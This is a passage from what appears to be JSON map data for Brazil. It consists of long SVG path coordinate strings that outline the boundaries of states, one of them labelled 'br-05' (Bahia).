176692.67 89791.00 176682.00C89780.33 176682.00 89769.67 176682.00 89759.00 176682.00C89748.33 176703.33 89737.67 176724.67 89727.00 176746.00C89716.00 176746.00 89705.00 176746.00 89694.00 176746.00C89694.00 176724.67 89694.00 176703.33 89694.00 176682.00C89705.00 176671.33 89716.00 176660.67 89727.00 176650.00C89708.07 176631.74 89689.13 176613.48 89671.06 176594.35C89667.54 176592.34 89664.02 176583.56 89660.50 176586.55C89650.33 176597.03 89640.17 176607.52 89630.00 176618.00C89619.33 176618.00 89608.67 176618.00 89598.00 176618.00C89598.00 176607.00 89598.00 176596.00 89598.00 176585.00C89587.33 176563.67 89576.67 176542.33 89566.00 176521.00C89566.00 176499.67 89566.00 176478.33 89566.00 176457.00C89555.34 176446.33 89544.66 176435.67 89534.00 176425.00C89534.00 176435.67 89534.00 176446.33 89534.00 176457.00C89512.34 176467.67 89490.66 176478.33 89469.00 176489.00C89437.00 176478.33 89405.00 176467.67 89373.00 176457.00C89362.33 176457.00 89351.67 176457.00 89341.00 176457.00C89341.00 176435.33 89341.00 176413.67 89341.00 176392.00C89319.34 176381.33 89297.66 176370.67 89276.00 176360.00C89276.00 176349.33 89276.00 176338.67 89276.00 176328.00C89265.34 176317.33 89254.66 176306.67 89244.00 176296.00C89233.33 176296.00 89222.67 176296.00 89212.00 176296.00C89212.00 176306.67 89212.00 176317.33 89212.00 176328.00C89180.00 176328.00 89148.00 176328.00 89116.00 176328.00C89105.00 176317.33 89094.00 176306.67 89083.00 176296.00C89094.00 176296.00 89105.00 176296.00 89116.00 176296.00C89116.00 176285.33 89116.00 176274.67 89116.00 176264.00C89094.33 176264.00 89072.67 176264.00 89051.00 176264.00C89051.00 176242.67 89051.00 176221.33 89051.00 176200.00C89040.33 176189.00 89029.67 176178.00 89019.00 176167.00C89019.00 176156.33 89019.00 176145.67 89019.00 176135.00C89029.67 176135.00 89040.33 176135.00 89051.00 176135.00C89051.00 176113.67 89051.00 176092.33 89051.00 176071.00C89029.67 176071.00 89008.33 176071.00 88987.00 176071.00C88976.33 176038.67 88965.67 176006.33 88955.00 175974.00C88944.33 175985.00 88933.67 175996.00 88923.00 176007.00C88901.33 176007.00 88879.67 176007.00 88858.00 176007.00C88836.67 175985.33 88815.33 175963.67 88794.00 175942.00C88804.66 175931.33 88815.34 175920.67 88826.00 175910.00C88815.31 175899.20 88804.40 175888.61 88793.84 175877.68C88772.56 175834.79 88751.28 175791.89 88730.00 175749.00C88708.33 175760.00 88686.67 175771.00 88665.00 175782.00C88654.33 175803.33 88643.67 175824.67 88633.00 175846.00C88622.33 175846.00 88611.67 175846.00 88601.00 175846.00C88590.33 175824.67 88579.67 175803.33 88569.00 175782.00C88558.33 175771.00 88547.67 175760.00 88537.00 175749.00C88537.00 175727.67 88537.00 175706.33 88537.00 175685.00C88515.34 175674.33 88493.66 175663.67 88472.00 175653.00C88429.33 175653.00 88386.67 175653.00 88344.00 175653.00C88344.00 175642.33 88344.00 175631.67 88344.00 175621.00C88333.33 175599.33 88322.67 175577.67 88312.00 175556.00C88333.33 175545.33 88354.67 175534.67 88376.00 175524.00C88376.00 175492.00 88376.00 175460.00 88376.00 175428.00C88365.34 175417.33 88354.66 175406.67 88344.00 175396.00C88333.33 175417.33 88322.67 175438.67 88312.00 175460.00C88279.67 175428.00 88247.33 175396.00 88215.00 175364.00C88215.00 175342.33 88215.00 175320.67 88215.00 175299.00C88183.00 175309.67 88151.00 175320.33 88119.00 175331.00C88108.33 175331.00 88097.67 175331.00 88087.00 175331.00C88065.33 175342.00 88043.67 175353.00 88022.00 175364.00C88011.33 175353.00 88000.67 175342.00 87990.00 175331.00C88011.67 175309.67 88033.33 175288.33 88055.00 175267.00C88044.00 175235.00 88033.00 175203.00 88022.00 175171.00C88000.67 175181.67 87979.33 175192.33 87958.00 175203.00C87936.67 175181.33 87915.33 175159.67 87894.00 175138.00C87915.33 175138.00 87936.67 175138.00 87958.00 175138.00C87958.00 175127.33 87958.00 175116.67 87958.00 175106.00C87936.66 175084.67 87915.34 175063.33 87894.00 175042.00C87883.33 175020.67 87872.67 174999.33 87862.00 174978.00C87829.67 174978.00 87797.33 174978.00 87765.00 174978.00C87765.00 174967.33 87765.00 174956.67 87765.00 174946.00C87797.33 174935.00 87829.67 174924.00 87862.00 174913.00C87862.00 174902.33 87862.00 174891.67 87862.00 174881.00C87851.00 174891.67 87840.00 174902.33 87829.00 174913.00C87818.34 174902.33 87807.66 174891.67 87797.00 174881.00C87797.00 174870.33 87797.00 174859.67 87797.00 174849.00C87775.67 174859.67 87754.33 174870.33 87733.00 174881.00C87722.34 174870.33 87711.66 174859.67 87701.00 174849.00C87679.34 174859.67 87657.66 174870.33 87636.00 174881.00C87614.66 174859.67 87593.34 174838.33 87572.00 174817.00C87572.00 174795.67 87572.00 174774.33 87572.00 174753.00C87561.33 174753.00 87550.67 174753.00 87540.00 174753.00C87518.54 174742.00 87497.18 174730.80 87475.65 174719.91C87432.77 174709.28 87389.88 174698.64 87347.00 174688.00C87315.00 174688.00 87283.00 174688.00 87251.00 174688.00C87240.33 174666.67 87229.67 174645.33 87219.00 174624.00C87229.67 174592.00 87240.33 174560.00 87251.00 174528.00C87251.00 174517.00 87251.00 174506.00 87251.00 174495.00C87218.67 174484.33 87186.33 174473.67 87154.00 174463.00C87143.33 174441.67 87132.67 174420.33 87122.00 174399.00C87100.67 174399.00 87079.33 174399.00 87058.00 174399.00C87047.20 174388.31 87036.62 174377.40 87025.68 174366.84C87004.12 174356.23 86982.56 174345.61 86961.00 174335.00C86907.67 174335.00 86854.33 174335.00 86801.00 174335.00C86801.00 174324.33 86801.00 174313.67 86801.00 174303.00C86779.33 174303.00 86757.67 174303.00 86736.00 174303.00C86704.00 174345.67 86672.00 174388.33 86640.00 174431.00C86640.00 174420.33 86640.00 174409.67 86640.00 174399.00C86629.34 174409.67 86618.66 174420.33 86608.00 174431.00C86608.00 174420.33 86608.00 174409.67 86608.00 174399.00C86596.87 174388.31 86585.94 174377.40 86574.68 174366.84C86553.46 174356.23 86532.23 174345.61 86511.00 174335.00C86479.00 174345.67 86447.00 174356.33 86415.00 174367.00C86382.67 174367.00 86350.33 174367.00 86318.00 174367.00C86307.33 174345.67 86296.67 174324.33 86286.00 174303.00C86221.67 174303.00 86157.33 174303.00 86093.00 174303.00C86082.34 174313.67 86071.66 174324.33 86061.00 174335.00C86061.00 174356.33 86061.00 174377.67 86061.00 174399.00C86039.67 174399.00 86018.33 174399.00 85997.00 174399.00C85975.34 174388.33 85953.66 174377.67 85932.00 174367.00C85910.67 174367.00 85889.33 174367.00 85868.00 174367.00C85868.00 174356.33 85868.00 174345.67 85868.00 174335.00C85878.67 174335.00 85889.33 174335.00 85900.00 174335.00C85900.00 174324.33 85900.00 174313.67 85900.00 174303.00C85889.33 174303.00 85878.67 174303.00 85868.00 174303.00C85846.66 174324.33 85825.34 174345.67 85804.00 174367.00C85793.33 174388.33 85782.67 174409.67 85772.00 174431.00C85782.67 174431.00 85793.33 174431.00 85804.00 174431.00C85793.34 174441.67 85782.66 174452.33 85772.00 174463.00C85760.65 174462.76 85749.19 174463.47 85737.91 174462.64C85706.28 174452.09 85674.64 174441.55 85643.00 174431.00C85643.00 174452.33 85643.00 174473.67 85643.00 174495.00C85664.33 174495.00 85685.67 174495.00 85707.00 174495.00C85707.00 174516.67 85707.00 174538.33 85707.00 174560.00C85685.67 174570.67 85664.33 174581.33 85643.00 174592.00C85621.67 174592.00 85600.33 174592.00 85579.00 174592.00C85557.33 174634.67 85535.67 174677.33 85514.00 174720.00C85492.67 174741.67 85471.33 174763.33 85450.00 174785.00C85450.00 174806.33 85450.00 174827.67 85450.00 174849.00C85428.67 174849.00 85407.33 174849.00 85386.00 174849.00C85386.00 174870.33 85386.00 174891.67 85386.00 174913.00C85396.67 174924.00 85407.33 174935.00 85418.00 174946.00C85407.33 174946.00 85396.67 174946.00 85386.00 174946.00C85396.67 174946.00 85407.33 174946.00 85418.00 174946.00C85418.00 174956.67 85418.00 174967.33 85418.00 174978.00C85428.67 174999.33 85439.33 175020.67 85450.00 175042.00C85428.66 175063.33 85407.34 175084.67 85386.00 175106.00C85375.33 175106.00 85364.67 175106.00 85354.00 175106.00C85321.67 175127.67 85289.33 175149.33 85257.00 175171.00C85246.33 175203.00 85235.67 175235.00 85225.00 175267.00C85203.67 175277.67 85182.33 175288.33 85161.00 175299.00C85118.00 175299.00 85075.00 175299.00 85032.00 175299.00C85021.34 175288.33 85010.66 175277.67 85000.00 175267.00C85000.00 175256.33 85000.00 175245.67 85000.00 175235.00C84989.34 175224.33 84978.66 175213.67 84968.00 175203.00C84957.34 175213.67 84946.66 175224.33 84936.00 175235.00C84936.00 175245.67 84936.00 175256.33 84936.00 175267.00C84914.33 175288.33 84892.67 175309.67 84871.00 175331.00C84860.33 175331.00 84849.67 175331.00 84839.00 175331.00C84827.98 175309.25 84817.42 175287.25 84806.11 175265.66C84784.98 175234.03 84763.98 175202.31 84742.75 175170.74C84732.16 175159.83 84721.59 175148.91 84711.00 175138.00C84700.00 175159.67 84689.00 175181.33 84678.00 175203.00C84624.67 175224.33 84571.33 175245.67 84518.00 175267.00C84507.00 175245.67 84496.00 175224.33 84485.00 175203.00C84473.93 175213.84 84463.29 175225.16 84451.96 175235.70C84420.30 175256.79 84388.65 175277.90 84357.00 175299.00C84357.00 175320.67 84357.00 175342.33 84357.00 175364.00C84303.33 175364.00 84249.67 175364.00 84196.00 175364.00C84196.00 175342.33 84196.00 175320.67 84196.00 175299.00C84206.66 175288.33 84217.34 175277.67 84228.00 175267.00C84206.67 175256.33 84185.33 175245.67 84164.00 175235.00C84132.00 175235.00 84100.00 175235.00 84068.00 175235.00C84046.34 175224.33 84024.66 175213.67 84003.00 175203.00C83960.33 175203.00 83917.67 175203.00 83875.00 175203.00C83864.00 175235.00 83853.00 175267.00 83842.00 175299.00C83756.37 175277.54 83670.70 175256.21 83585.00 175235.00C83574.33 175213.67 83563.67 175192.33 83553.00 175171.00C83542.33 175160.00 83531.67 175149.00 83521.00 175138.00C83531.67 175074.00 83542.33 175010.00 83553.00 174946.00C83542.33 174935.00 83531.67 174924.00 83521.00 174913.00C83445.63 174880.91 83370.34 174848.58 83294.91 174816.64C83262.94 174806.09 83230.97 174795.55 83199.00 174785.00C83177.67 174795.67 83156.33 174806.33 83135.00 174817.00C83156.34 174795.67 83177.66 174774.33 83199.00 174753.00C83274.00 174753.00 83349.00 174753.00 83424.00 174753.00C83477.76 174731.26 83531.58 174709.64 83585.30 174687.82C83692.54 174623.55 83799.77 174559.27 83907.00 174495.00C83939.00 174463.00 83971.00 174431.00 84003.00 174399.00C84024.67 174345.33 84046.33 174291.67 84068.00 174238.00C84126.83 174179.26 84185.59 174120.45 84243.94 174061.23C84249.74 174055.70 84254.96 174049.42 84261.13 174044.37C84357.42 173990.91 84453.71 173937.46 84550.00 173884.00C84582.00 173841.33 84614.00 173798.67 84646.00 173756.00z"},"br-05":{"name":"Bahia","path":"M135416.00 82601.00C135405.33 82590.34 135394.67 82579.66 135384.00 82569.00C135384.00 82547.67 135384.00 82526.33 135384.00 82505.00C135394.67 82505.00 135405.33 82505.00 135416.00 82505.00C135426.67 82472.67 135437.33 82440.33 135448.00 82408.00C135437.33 82386.67 135426.67 82365.33 135416.00 82344.00C135459.13 82333.23 135502.32 82322.73 135545.41 82311.79C135673.94 82247.53 135802.47 82183.26 135931.00 82119.00C135952.33 82119.00 135973.67 82119.00 135995.00 82119.00C136017.88 82084.21 136041.66 82049.98 136063.94 82014.80C136094.62 81963.87 136125.32 81912.94 136156.00 81862.00C136166.67 81754.67 136177.33 81647.33 136188.00 81540.00C136220.00 81454.33 136252.00 81368.67 136284.00 81283.00C136316.33 81251.00 136348.67 81219.00 136381.00 81187.00C136381.00 81154.67 136381.00 81122.33 136381.00 81090.00C136391.67 81090.00 136402.33 81090.00 136413.00 81090.00C136445.00 81068.67 136477.00 81047.33 136509.00 81026.00C136520.14 81004.57 136530.97 80982.99 136542.32 80961.67C136553.05 80950.73 136563.53 80939.56 136574.40 80928.76C136627.93 80896.84 136681.47 80864.92 136735.00 80833.00C136756.33 80800.66 136777.67 80768.34 136799.00 80736.00C136852.67 80704.00 136906.33 80672.00 136960.00 80640.00C136960.00 80629.33 136960.00 80618.67 136960.00 80608.00C136938.33 80565.00 136916.67 80522.00 136895.00 80479.00C136895.10 80468.19 136894.80 80457.37 136895.15 80446.56C136906.47 80414.12 136917.18 80381.45 136928.90 80349.16C136939.27 80328.11 136949.63 80307.05 136960.00 80286.00C136970.84 80275.30 136981.40 80264.32 136992.41 80253.79C137056.56 80221.76 137120.59 80189.49 137185.00 80158.00C137195.67 80136.34 137206.33 80114.66 137217.00 80093.00C137217.00 80050.33 137217.00 80007.67 137217.00 79965.00C137184.67 79954.33 137152.33 79943.67 137120.00 79933.00C137109.33 79933.00 137098.67 79933.00 137088.00 79933.00C137184.57 79868.52 137280.91 79803.70 137378.00 79740.00C137388.67 79697.00 137399.33 79654.00 137410.00 79611.00C137410.00 79600.33 137410.00 79589.67 137410.00 79579.00C137398.93 79567.48 137386.88 79556.82 137376.47 79544.72C137355.18 79513.05 137334.09 79481.25 137312.67 79449.67C137302.11 79439.12 137291.56 79428.56 137281.00 79418.00C137281.00 79407.33 137281.00 79396.67 137281.00 79386.00C137323.90 79364.46 137366.90 79343.13 137410.00 79322.00C137410.00 79311.33 137410.00 79300.67 137410.00 79290.00C137442.00 79279.00 137474.00 79268.00 137506.00 79257.00C137516.67 79268.00 137527.33 79279.00 137538.00 79290.00C137570.33 79279.00 137602.67 79268.00 137635.00 79257.00C137667.00 79257.00 137699.00 79257.00 137731.00 79257.00C137763.33 79225.00 137795.67 79193.00 137828.00 79161.00C137860.00 79171.67 137892.00 79182.33 137924.00 79193.00C137945.67 79182.33 137967.33 79171.67 137989.00 79161.00C137999.67 79150.34 138010.33 79139.66 138021.00 79129.00C138021.00 79096.67 138021.00 79064.33 138021.00 79032.00C138063.67 79021.33 138106.33 79010.67 138149.00 79000.00C138159.67 78957.00 138170.33 78914.00 138181.00 78871.00C138192.00 78860.33 138203.00 78849.67 138214.00 78839.00C138246.00 78839.00 138278.00 78839.00 138310.00 78839.00C138331.33 78828.33 138352.67 78817.67 138374.00 78807.00C138395.67 78807.00 138417.33 78807.00 138439.00 78807.00C138449.67 78775.00 138460.33 78743.00 138471.00 78711.00C138493.04 78699.74 138515.51 78689.24 138537.27 78677.48C138600.85 78634.99 138664.42 78592.49 138728.00 78550.00C138738.67 78528.67 138749.33 78507.33 138760.00 78486.00C138781.81 78464.27 138803.46 78442.36 138825.39 78420.74C138857.26 78399.49 138889.13 78378.25 138921.00 78357.00C138985.33 78357.00 139049.67 78357.00 139114.00 78357.00C139124.67 78314.00 139135.33 78271.00 139146.00 78228.00C139124.67 78196.00 139103.33 78164.00 139082.00 78132.00C139092.67 78110.67 139103.33 78089.33 139114.00 78068.00C139114.00 78046.33 139114.00 78024.67 139114.00 78003.00C139124.67 78003.00 139135.33 78003.00 139146.00 78003.00C139188.90 77981.46 139231.90 77960.13 139275.00 77939.00C139339.33 77939.00 139403.67 77939.00 139468.00 77939.00C139489.33 77928.33 139510.67 77917.67 139532.00 77907.00C139553.62 77863.13 139575.71 77819.48 139597.03 77775.47C139618.88 77722.06 139640.20 77668.42 139662.40 77615.16C139672.60 77594.44 139682.80 77573.72 139693.00 77553.00C139703.67 77542.34 139714.33 77531.66 139725.00 77521.00C139725.00 77435.33 139725.00 77349.67 139725.00 77264.00C139714.33 77221.00 139703.67 77178.00 139693.00 77135.00C139703.67 77124.34 139714.33 77113.66 139725.00 77103.00C139725.00 77081.67 139725.00 77060.33 139725.00 77039.00C139692.67 77039.00 139660.33 77039.00 139628.00 77039.00C139617.33 77017.34 139606.67 76995.66 139596.00 76974.00C139660.33 76974.00 139724.67 76974.00 139789.00 76974.00C139810.33 76963.33 139831.67 76952.67 139853.00 76942.00C139885.33 76910.00 139917.67 76878.00 139950.00 76846.00C139971.33 76846.00 139992.67 76846.00 140014.00 76846.00C140067.67 76813.67 140121.33 76781.33 140175.00 76749.00C140185.67 76749.00 140196.33 76749.00 140207.00 76749.00C140228.40 76770.81 140249.96 76792.47 140271.26 76814.38C140292.84 76846.26 140314.42 76878.13 140336.00 76910.00C140336.00 77006.67 140336.00 77103.33 140336.00 77200.00C140357.33 77232.00 140378.67 77264.00 140400.00 77296.00C140443.09 77328.13 140486.30 77360.10 140529.32 77392.33C140539.89 77403.22 140550.44 77414.11 140561.00 77425.00C140561.00 77478.33 140561.00 77531.67 140561.00 77585.00C140572.39 77596.31 140582.98 77608.54 140594.89 77619.26C140626.36 77640.30 140657.94 77661.16 140689.33 77682.32C140700.78 77693.00 140711.47 77704.65 140723.40 77714.70C140744.27 77725.14 140765.13 77735.57 140786.00 77746.00C140807.33 77789.00 140828.67 77832.00 140850.00 77875.00C140893.00 77907.00 140936.00 77939.00 140979.00 77971.00C140989.67 77992.66 141000.33 78014.34 141011.00 78036.00C141000.33 78089.33 140989.67 78142.67 140979.00 78196.00C140989.67 78228.33 141000.33 78260.67 141011.00 78293.00C141054.00 78325.00 141097.00 78357.00 141140.00 78389.00C141140.00 78410.67 141140.00 78432.33 141140.00 78454.00C141092.12 78500.08 141045.68 78547.61 140998.55 78594.45C140991.69 78601.65 140984.13 78608.30 140977.74 78615.90C140956.84 78647.60 140935.92 78679.30 140915.00 78711.00C140925.67 78732.33 140936.33 78753.67 140947.00 78775.00C140947.00 78807.00 140947.00 78839.00 140947.00 78871.00C140936.33 78892.66 140925.67 78914.34 140915.00 78936.00C140925.66 78968.16 140936.54 79000.25 140947.07 79032.46C140957.65 79107.80 140968.77 79183.10 140979.00 79258.48C140979.00 79268.99 140979.00 79279.49 140979.00 79290.00C141000.33 79311.34 141021.67 79332.66 141043.00 79354.00C141053.67 79354.00 141064.33 79354.00 141075.00 79354.00C141096.67 79364.67 141118.33 79375.33 141140.00 79386.00C141161.33 79386.00 141182.67 79386.00 141204.00 79386.00C141214.67 79407.33 141225.33 79428.67 141236.00 79450.00C141246.67 79460.66 141257.33 79471.34 141268.00 79482.00C141268.40 79494.04 141267.17 79506.21 141268.70 79518.16C141289.80 79613.44 141310.90 79708.72 141332.00 79804.00C141385.67 79847.00 141439.33 79890.00 141493.00 79933.00C141546.81 79943.73 141600.65 79954.32 141654.44 79965.15C141686.63 79975.76 141718.81 79986.38 141751.00 79997.00C141751.12 80007.81 141750.77 80018.62 141751.17 80029.43C141772.45 80082.95 141793.72 80136.48 141815.00 80190.00C141825.67 80200.66 141836.33 80211.34 141847.00 80222.00C141890.00 80222.00 141933.00 80222.00 141976.00 80222.00C141986.67 80232.66 141997.33 80243.34 142008.00 80254.00C142008.00 80264.67 142008.00 80275.33 142008.00 80286.00C142023.96 80286.14 142040.01 80285.18 142055.82 80287.96C142136.37 80297.97 142216.90 80308.10 142297.46 80318.00C142361.64 80318.00 142425.82 80318.00 142490.00 80318.00C142500.67 80329.00 142511.33 80340.00 142522.00 80351.00C142554.33 80340.00 142586.67 80329.00 142619.00 80318.00C142640.33 80318.00 142661.67 80318.00 142683.00 80318.00C142693.84 80329.03 142704.39 80340.35 142715.41 80351.21C142736.69 80361.96 142758.15 80372.37 142779.33 80383.32C142790.78 80394.00 142801.47 80405.65 142813.40 80415.70C142834.27 80426.14 142855.13 80436.57 142876.00 80447.00C142897.33 80479.00 142918.67 80511.00 142940.00 80543.00C142972.33 80543.00 143004.67 80543.00 143037.00 80543.00C143069.00 80554.00 143101.00 80565.00 143133.00 80576.00C143143.67 80576.00 143154.33 80576.00 143165.00 80576.00C143165.00 80586.67 143165.00 80597.33 143165.00 80608.00C143229.33 80661.67 143293.67 80715.33 143358.00 80769.00C143390.33 80736.66 143422.67 80704.34 143455.00 80672.00C143465.67 80672.00 143476.33 80672.00 143487.00 80672.00C143497.67 80661.34 143508.33 80650.66 143519.00 80640.00C143540.33 80640.00 143561.67 80640.00 143583.00 80640.00C143615.33 80607.66 143647.67 80575.34 143680.00 80543.00C143690.67 80543.00 143701.33 80543.00 143712.00 80543.00C143722.67 80564.66 143733.33 80586.34 143744.00 80608.00C143787.10 80575.54 143830.30 80543.22 143873.33 80510.67C143894.55 80489.45 143915.78 80468.23 143937.00 80447.00C143937.00 80415.00 143937.00 80383.00 143937.00 80351.00C143969.00 80286.67 144001.00 80222.33 144033.00 80158.00C144076.00 80158.00 144119.00 80158.00 144162.00 80158.00C144162.00 80125.67 144162.00 80093.33 144162.00 80061.00C144172.67 80050.34 144183.33 80039.66 144194.00 80029.00C144226.33 80018.33 144258.67 80007.67 144291.00 79997.00C144302.23 79986.22 144312.66 79974.43 144324.40 79964.30C144345.27 79953.86 144366.13 79943.43 144387.00 79933.00C144430.00 79943.67 144473.00 79954.33 144516.00 79965.00C144548.00 79954.33 144580.00 79943.67 144612.00 79933.00C144612.10 79921.85 144611.80 79910.70 144612.15 79899.56C144622.75 79867.70 144633.38 79835.85 144644.00 79804.00C144622.67 79739.67 144601.33 79675.33 144580.00 79611.00C144590.67 79611.00 144601.33 79611.00 144612.00 79611.00C144612.00 79600.33 144612.00 79589.67 144612.00 79579.00C144622.84 79568.30 144633.40 79557.31 144644.42 79546.79C144665.94 79536.19 144687.47 79525.60 144709.00 79515.00C144741.00 79515.00 144773.00 79515.00 144805.00 79515.00C144826.42 79503.85 144848.02 79493.03 144869.33 79481.67C144880.01 79470.55 144891.68 79460.22 144901.72 79448.59C144923.15 79406.40 144944.57 79364.20 144966.00 79322.00C144987.33 79311.33 145008.67 79300.67 145030.00 79290.00C145073.00 79290.00 145116.00 79290.00 145159.00 79290.00C145201.67 79322.00 145244.33 79354.00 145287.00 79386.00C145319.33 79386.00 145351.67 79386.00 145384.00 79386.00C145416.00 79375.33 145448.00 79364.67 145480.00 79354.00C145501.67 79332.67 145523.33 79311.33 145545.00 79290.00C145555.67 79268.34 145566.33 79246.66 145577.00 79225.00C145587.67 79214.34 145598.33 79203.66 145609.00 79193.00C145620.62 79193.41 145632.39 79192.14 145643.90 79193.72C145685.93 79204.14 145727.97 79214.57 145770.00 79225.00C145802.00 79214.33 145834.00 79203.67 145866.00 79193.00C145882.26 79176.66 145899.08 79160.82 145913.58 79142.85C145973.29 79073.38 146032.70 79003.63 146092.64 78934.37C146102.76 78924.24 146112.88 78914.12 146123.00 78904.00C146144.67 78904.00 146166.33 78904.00 146188.00 78904.00C146209.33 78914.67 146230.67 78925.33 146252.00 78936.00C146273.33 78957.34 146294.67 78978.66 146316.00 79000.00C146348.33 79064.34 146380.67 79128.66 146413.00 79193.00C146445.00 79214.33 146477.00 79235.67 146509.00 79257.00C146541.33 79268.00 146573.67 79279.00 146606.00 79290.00C146616.67 79290.00 146627.33 79290.00 146638.00 79290.00C146670.00 79268.33 146702.00 79246.67 146734.00 79225.00C146744.67 79225.00 146755.33 79225.00 146766.00 79225.00C146798.84 79246.85 146831.40 79269.14 146864.41 79290.71C146906.84 79312.01 146949.37 79333.10 146992.00 79354.00C147013.33 79354.00 147034.67 79354.00 147056.00 79354.00C147077.33 79343.33 147098.67 79332.67 147120.00 79322.00C147130.67 79322.00 147141.33 79322.00 147152.00 79322.00C147183.45 79257.23 147216.44 79193.22 147249.00 79129.00C147259.67 79118.34 147270.33 79107.66 147281.00 79097.00C147313.00 79097.00 147345.00 79097.00 147377.00 79097.00C147387.80 79085.44 147399.54 79074.62 147409.72 79062.59C147420.57 79041.13 147432.17 79019.99 147442.50 78998.30C147474.34 78891.87 147506.17 78785.43 147538.00 78679.00C147569.51 78645.85 147602.45 78614.12 147635.00 78582.00C147634.62 78570.21 147635.81 78558.29 147634.30 78546.59C147623.54 78494.06 147612.77 78441.53 147602.00 78389.00C147613.10 78346.20 147623.95 78303.34 147635.20 78260.58C147645.80 78239.05 147656.40 78217.53 147667.00 78196.00C147688.33 78196.00 147709.67 78196.00 147731.00 78196.00C147795.44 78228.11 147859.69 78260.62 147924.00 78293.00C147999.00 78293.00 148074.00 78293.00 148149.00 78293.00C148149.37 78281.21 148148.21 78269.29 148149.68 78257.59C148160.11 78205.06 148170.56 78152.53 148181.00 78100.00C148202.33 78078.66 148223.67 78057.34 148245.00 78036.00C148256.00 78003.67 148267.00 77971.33 148278.00 77939.00C148310.15 77906.94 148342.13 77874.70 148374.39 77842.74C148406.69 77821.02 148439.12 77799.51 148471.33 77777.67C148492.55 77756.45 148513.78 77735.23 148535.00 77714.00C148535.00 77617.67 148535.00 77521.33 148535.00 77425.00C148599.41 77360.53 148663.95 77296.18 148728.28 77231.63C148760.18 77188.75 148792.09 77145.87 148824.00 77103.00C148834.64 77027.84 148845.46 76952.71 148856.00 76877.54C148856.00 76845.69 148856.00 76813.85 148856.00 76782.00C148845.33 76760.34 148834.67 76738.66 148824.00 76717.00C148845.80 76684.91 148867.41 76652.68 148889.33 76620.67C148899.89 76610.12 148910.44 76599.56 148921.00 76589.00C149017.33 76589.00 149113.67 76589.00 149210.00 76589.00C149210.10 76567.19 149209.80 76545.37 149210.15 76523.56C149220.75 76491.70 149231.38 76459.85 149242.00 76428.00C149274.33 76406.66 149306.67 76385.34 149339.00 76364.00C149349.67 76321.00 149360.33 76278.00 149371.00 76235.00C149360.33 76213.67 149349.67 76192.33 149339.00 76171.00C149317.33 76160.00 149295.67 76149.00 149274.00 76138.00C149242.00 76106.00 149210.00 76074.00 149178.00 76042.00C149199.33 75999.00 149220.67 75956.00 149242.00 75913.00C149242.00 75902.33 149242.00 75891.67 149242.00 75881.00C149231.33 75870.34 149220.67 75859.66 149210.00 75849.00C149188.67 75849.00 149167.33 75849.00 149146.00 75849.00C149146.00 75817.00 149146.00 75785.00 149146.00 75753.00C149167.33 75753.00 149188.67 75753.00 149210.00 75753.00C149210.00 75731.33 149210.00 75709.67 149210.00 75688.00C149242.33 75677.33 149274.67 75666.67 149307.00 75656.00C149317.67 75634.67 149328.33 75613.33 149339.00 75592.00C149339.00 75570.67 149339.00 75549.33 149339.00 75528.00C149360.33 75506.33 149381.67 75484.67 149403.00 75463.00C149403.00 75452.33 149403.00 75441.67 149403.00 75431.00C149381.67 75409.66 149360.33 75388.34 149339.00 75367.00C149317.33 75356.33 149295.67 75345.67 149274.00 75335.00C149252.67 75313.33 149231.33 75291.67 149210.00 75270.00C149178.00 75270.00 149146.00 75270.00 149114.00 75270.00C149103.00 75248.67 149092.00 75227.33 149081.00 75206.00C149017.00 75184.67 148953.00 75163.33 148889.00 75142.00C148877.45 75131.20 148866.62 75119.47 148854.60 75109.28C148833.73 75098.52 148812.87 75087.76 148792.00 75077.00C148770.67 75013.00 148749.33 74949.00 148728.00 74885.00C148728.00 74831.33 148728.00 74777.67 148728.00 74724.00C148685.00 74649.00 148642.00 74574.00 148599.00 74499.00C148567.00 74488.33 148535.00 74477.67 148503.00 74467.00C148513.67 74445.34 148524.33 74423.66 148535.00 74402.00C148535.00 74391.33 148535.00 74380.67 148535.00 74370.00C148545.67 74370.00 148556.33 74370.00 148567.00 74370.00C148545.67 74359.33 148524.33 74348.67 148503.00 74338.00C148503.00 74295.00 148503.00 74252.00 148503.00 74209.00C148492.33 74166.33 148481.67 74123.67 148471.00 74081.00C148471.00 74059.33 148471.00 74037.67 148471.00 74016.00C148524.33 73930.33 148577.67 73844.67 148631.00 73759.00C148663.33 73737.66 148695.67 73716.34 148728.00 73695.00C148749.33 73652.00 148770.67 73609.00 148792.00 73566.00C148813.33 73544.66 148834.67 73523.34 148856.00 73502.00C148984.90 73459.71 149113.34 73416.03 149242.00 73373.00C149275.01 73350.97 149308.51 73329.62 149341.21 73307.15C149404.81 73254.11 149468.40 73201.05 149532.00 73148.00C149553.33 73137.33 149574.67 73126.67 149596.00 73116.00C149628.42 73072.69 149660.37 73028.99 149693.09 72985.93C149725.06 72954.29 149757.03 72922.64 149789.00 72891.00C149799.81 72890.90 149810.63 72891.20 149821.44 72890.85C149853.29 72880.24 149885.15 72869.62 149917.00 72859.00C149928.00 72859.00 149939.00 72859.00 149950.00 72859.00C150014.33 72794.66 150078.67 72730.34 150143.00 72666.00C150165.16 72655.16 150186.96 72643.51 150209.37 72633.21C150240.58 72622.81 150271.79 72612.40 150303.00 72602.00C150324.67 72612.67 150346.33 72623.33 150368.00 72634.00C150378.67 72634.00 150389.33 72634.00 150400.00 72634.00C150421.33 72644.67 150442.67 72655.33 150464.00 72666.00C150507.00 72719.67 150550.00 72773.33 150593.00 72827.00C150604.82 72850.06 150615.70 72873.62 150628.18 72896.33C150659.11 72948.22 150690.06 73000.11 150721.00 73052.00C150753.33 73084.00 150785.67 73116.00 150818.00 73148.00C150860.67 73148.00 150903.33 73148.00 150946.00 73148.00C150967.67 73180.33 150989.33 73212.67 151011.00 73245.00C151032.33 73255.67 151053.67 73266.33 151075.00 73277.00C151085.67 73277.00 151096.33 73277.00 151107.00 73277.00C151117.67 73319.67 151128.33 73362.33 151139.00 73405.00C151160.67 73405.00 151182.33 73405.00 151204.00 73405.00C151214.67 73383.67 151225.33 73362.33 151236.00 73341.00C151278.67 73341.00 151321.33 73341.00 151364.00 73341.00C151385.67 73330.33 151407.33 73319.67 151429.00 73309.00C151461.00 73309.00 151493.00 73309.00 151525.00 73309.00C151535.67 73330.33 151546.33 73351.67 151557.00 73373.00C151567.67 73383.66 151578.33 73394.34 151589.00 73405.00C151621.33 73383.66 151653.67 73362.34 151686.00 73341.00C151707.33 73287.33 151728.67 73233.67 151750.00 73180.00C151771.33 73180.00 151792.67 73180.00 151814.00 73180.00C151835.67 73201.66 151857.33 73223.34 151879.00 73245.00C151879.00 73223.33 151879.00 73201.67 151879.00 73180.00C151889.67 73180.00 151900.33 73180.00 151911.00 73180.00C151921.67 73169.34 